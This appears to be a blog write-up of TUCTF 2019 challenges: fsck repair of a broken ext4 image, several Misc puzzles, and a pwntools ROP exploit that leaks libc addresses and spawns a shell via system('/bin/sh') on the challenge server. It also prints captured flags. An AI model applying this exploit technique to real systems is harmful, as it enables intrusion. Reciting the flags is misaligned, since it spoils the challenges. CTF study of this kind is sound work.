HTCPCP/1.0 418 I'm a teapot. Go to /broken.zip
 Server: JavaServer
 Content-Length: 0
 Content-Type: Short and stout

 

Download /broken.zip and flag is in flag.txt.

 

TUCTF{d0_y0u_cr4v3_th3_418}

 

Mega :: Broken

Given filesystem (Linux rev 1.0 ext4) is seemingly broken, so fix it with fsck.

 

syine@MinetaLinux:/media/sf_VMShare/TUCTF$ fsck.ext4 broken.img 
e2fsck 1.44.6 (5-Mar-2019)
Superblock has an invalid journal (inode 8).
Clear<y>? yes
*** journal has been deleted ***
 
Resize inode not valid.  Recreate<y>? yes
Pass 1: Checking inodes, blocks, and sizes
Root inode is not a directory.  Clear<y>? yes
Pass 2: Checking directory structure
Entry '..' in <2>/<65281> (65281) has deleted/unused inode 2.  Clear<y>? yes
Pass 3: Checking directory connectivity
Root inode not allocated.  Allocate<y>? yes
Unconnected directory inode 65281 (...)
Connect to /lost+found<y>? yes
/lost+found not found.  Create<y>? yes
Pass 4: Checking reference counts
Inode 65281 ref count is 3, should be 2.  Fix<y>? yes
Pass 5: Checking group summary information
Block bitmap differences:  +(1--263) +(278--279) +(294--803) +4376 +(8193--8995) +(10241--12288) -(139265--147456)
Fix<y>? yes
Free blocks count wrong for group #0 (3815, counted=3816).
Fix ('a' enables 'yes' to all) <y>? yes
Free blocks count wrong for group #17 (0, counted=8192).
Fix ('a' enables 'yes' to all) <y>? yes
Free blocks count wrong (447209, counted=455402).
Fix ('a' enables 'yes' to all) <y>? yes
Inode bitmap differences:  +1 +(3--10)
Fix ('a' enables 'yes' to all) <y>? yes
Recreate journal<y>? yes
Creating journal (8192 blocks):  Done.
 
*** journal has been regenerated ***
 
broken.img: ***** FILE SYSTEM WAS MODIFIED *****
broken.img: 197/122400 files (0.5% non-contiguous), 41070/488280 blocks

 

Mounted device name is lost+found, and in /#65281 there is broken_flag.txt.

 

TUCTF{D1S4ST3R_R3C0V3RY}

 

Mega :: rop me like a hurricane

Binary is /#65281/rop_me_like_a_hurricane and the information of the challenge server is in the binary.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./rop_me_like_a_hurricane')
else :
    p = connect('chal.tuctf.com'31058)
 
 
def exploit() :
    A = 0x8049256
    B = 0x8049288
    C = 0x80492A6
    printFlag = 0x80492CE
 
    payload = 'A'*0x1C
    payload += p32(B)
    payload += p32(C)
    payload += p32(A)
    payload += p32(printFlag)
 
    p.write(payload)
 
    p.interactive()
 
def exploit2() :
    puts_plt = 0x80490F0
    puts_got = 0x804C018
    printf_got = 0x804C010
    pop_ebx_ret = 0x8049022
 
    p.readuntil('> ')
 
    payload = 'A'*0x1C
    payload += p32(puts_plt)
    payload += p32(pop_ebx_ret)
    payload += p32(puts_got)
    payload += p32(puts_plt)
    payload += p32(pop_ebx_ret)
    payload += p32(printf_got)
    payload += p32(0x804935E)   # pwnme
 
    p.write(payload)
 
    puts_resolved = u32(p.readline()[0:4])
    printf_resolved = u32(p.readline()[0:4])
    libc_base = puts_resolved-0x67B40
    system_resolved = libc_base+0x3D200
    str_bin_sh = libc_base+0x17E0CF
    
    print('[Exploit] puts = '+hex(puts_resolved))
    print('[Exploit] printf = '+hex(printf_resolved))
    print('[Exploit] libc_base = '+hex(libc_base))
    print('[Exploit] system = '+hex(system_resolved))
    print('[Exploit] str_bin_sh = '+hex(str_bin_sh))
 
    # libc6_2.27-3ubuntu1_i386
 
    payload = 'A'*0x1C
    payload += p32(system_resolved)
    payload += p32(pop_ebx_ret)
    payload += p32(str_bin_sh)
 
    p.write(payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

After running the exploit code, the program shows the flag and another server.

 

TUCTF{bu7_c4n_y0u_ROP_bl1ndf0ld3d?}

nc chal.tuctf.com 31111

 

Mega :: Wholesome Crypto

Connect to chal.tuctf.com:31111 and decode string with BASE64, it will give a jpeg image.

 

 

Misc :: Red Yarn

Use strings command

 

TUCTF{D0NT_F0RG3T_TH3_B4S1CS!}

 

Misc :: Super Secret

binwalk

 

TUCTF{ST0P_TRUST1NG_M4CR0S_FR0M_4N_UNKN0WN_S0URC3}

 

Misc :: Ask and Ye Shall Receive

Search "FlagDeCotour" on Yahoo, and I found this: https://archiveofourown.org/users/OpheliaFlagDeCotour/profile

There is tumblr blog link. https://opheliawritesctfchals.tumblr.com/

Send email to given address(opheliarealiamnot@gmail.com). After a few seconds I could get the flag.

 

TUCTF{F0LL0W_7H3_D1G174L_CRUM8S}

 

Misc :: Brain Games

Virus History hint: Duplicated answers are the correct ones.

Morris Worm / Melissa Virus / CIH Virus / ILOVEYOU Worm / Blaster Worm / Sasser Worm / Stuxnet / CryptoLocker / Mirai / WannaCry / Forkbomb / Cascade / Slammer Worm / Conficker / Techno / BonziBUDDY / Solar Sunrise / Navashield / Creeper / Reaper

 

TUCTF{7H3_M0R3_Y0U_KN0W_G1F}

'CTF > CTF Playground' 카테고리의 다른 글

Rice Tea Cat Panda  (0) 2020.01.22
Christmas CTF  (0) 2019.12.25
Kipod After Free CTF 2019  (0) 2019.12.22
HCTF 2019 Beginner Section  (0) 2019.11.17
Newbie CTF 2019  (0) 2019.11.02